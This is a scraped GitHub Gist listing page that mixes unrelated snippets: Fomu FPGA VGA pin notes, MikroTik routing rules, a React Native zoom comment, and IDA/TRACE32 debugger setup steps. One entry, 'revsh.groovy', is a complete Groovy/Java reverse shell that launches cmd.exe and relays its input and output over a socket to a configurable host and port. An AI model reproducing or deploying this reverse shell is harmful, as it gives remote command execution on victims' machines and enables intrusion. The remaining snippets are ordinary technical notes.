hinzundcode / README

Last active April 23, 2024 07:59

fomu litex vga

	user_1 is R, G and B (VGA pins 1, 2 and 3)
	user_2 is Ground
	user_3 is HSYNC (VGA pin 13)
	user_4 is VSYNC (VGA pin 15)

	$ python workshop_vga.py --board pvt && dfu-util -D build/gateware/top.dfu
	$ wishbone-tool 0x60003000 150

	csr_register,gpu_x0,0x60003000,2,rw
	csr_register,gpu_x1,0x60003008,2,rw

kscottz / GazeboHelp.md

Created April 19, 2024 20:21

Every Mention of Gazebo in the ROS Weekly Update

frohoff / revsh.groovy

Created March 2, 2016 18:55

Pure Groovy/Java Reverse Shell

	String host="localhost";
	int port=8044;
	String cmd="cmd.exe";
	Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

tiernano / gist:8218016

Created January 2, 2014 11:39

	18 ;;; 7/0 goes to WAN1
	chain=prerouting action=mark-connection new-connection-mark=WAN1_conn passthrough=yes
	dst-address-type=!local in-interface=LAN1 connection-mark=no-mark
	per-connection-classifier=both-addresses-and-ports:7/0

	19 ;;; 7/1 goes to WAN2
	chain=prerouting action=mark-connection new-connection-mark=WAN2_conn passthrough=yes
	dst-address-type=!local in-interface=LAN1 connection-mark=no-mark
	per-connection-classifier=both-addresses-and-ports:7/1

tiernano / gist:8217968

Created January 2, 2014 11:35

mikrotik script for sending from a particular address list to a particular WAN link

	9 ;;; WAN1 address list -> WAN1
	chain=prerouting action=mark-routing new-routing-mark=to_WAN1 passthrough=no
	dst-address=!192.168.0.0/16 dst-address-list=WAN1

	10 ;;; WAN2 address list -> WAN2
	chain=prerouting action=mark-routing new-routing-mark=to_WAN2 passthrough=no
	dst-address=!192.168.0.0/16 dst-address-list=WAN2

	11 ;;; WAN3 address list -> WAN3
	chain=prerouting action=mark-routing new-routing-mark=to_WAN3 passthrough=no

Glazzes / App.tsx

Last active April 23, 2024 07:51

React Native pinch to zoom advanced

	/**
	* After some thoughts on this topic, I've decided to turn this gist along with other features into a library so you can zoom
	* whatever you want.
	*
	* @author Santiago Zapata, Glazzes at Github <3
	* @description This gist makes part of an article I'm writing about this topic (in spanish). This solution takes into account
	* the linear algebra concepts and geometrical interpretation of the transform-origin property specification, this solution
	* takes heavy inspiration from William's Candillon +3 year old video in this topic, however this solution brings it to the
	* modern day along with a huge fix that prevents the origin from being displaced by an incorrect offset calculation after
	* the first zoom interaction.

patois / README

Last active April 23, 2024 07:45

Configuration files for debugging Tricore Binaries with IDA 7.4 and TRACE32 Simulator

	1. Install TRACE32 for Tricore from https://www.lauterbach.com/frames.html?download_demo.html
	2. place ida.cmm into the TRACE32 installation folder
	3. overwrite config.t32 found in the TRACE32 installation folder with the one provided
	4. change the "SYS" variable of this config.t32 file to point to your TRACE32 install folder
	5. edit %IDADIR%\cfg\gdb_arch.cfg as described in the provided "gdb_arch.cfg" file
	6. open the file "demo.elf" from the TRACE32 installation folder with IDA
	7. In IDA, go to "Debugger -> Select debugger", pick "Remote GDB debugger"
	8. Go to "Debugger -> Debugger options -> Set specific options", tick the
	"Run a program..." checkbox, then click "choose a configuration" (which should fill
	the "command line" edit field) and confirm.

patois / README

Last active April 23, 2024 07:44

Configuration files for debugging Renesas V850/RH850 Binaries with IDA 7.4 and TRACE32 Simulator

	1. Install TRACE32 for V850/RH80 from https://www.lauterbach.com/frames.html?download_demo.html
	2. copy *.cmm to the TRACE32 installation folder
	3. overwrite config.t32 found in the TRACE32 installation folder with the one provided, edit "SYS variable
	4. add the content provided with "gdb_arch.cfg" to the existing %IDADIR%\cfg\gdb_arch.cfg file
	5. open the file "ghv850.cfe" from the TRACE32 installation folder with IDA
	6. In IDA, go to "Debugger -> Select debugger", pick "Remote GDB debugger"
	7. Go to "Debugger -> Debugger options -> Set specific options", tick the
	"Run a program..." checkbox, then click "choose a configuration", pick the configuration
	named "TRACE32: Renesas RH850 (ELF)" and confirm.
	8. Go to "Debugger -> Process options...", fill the hostname (127.0.0.1) and port (30000)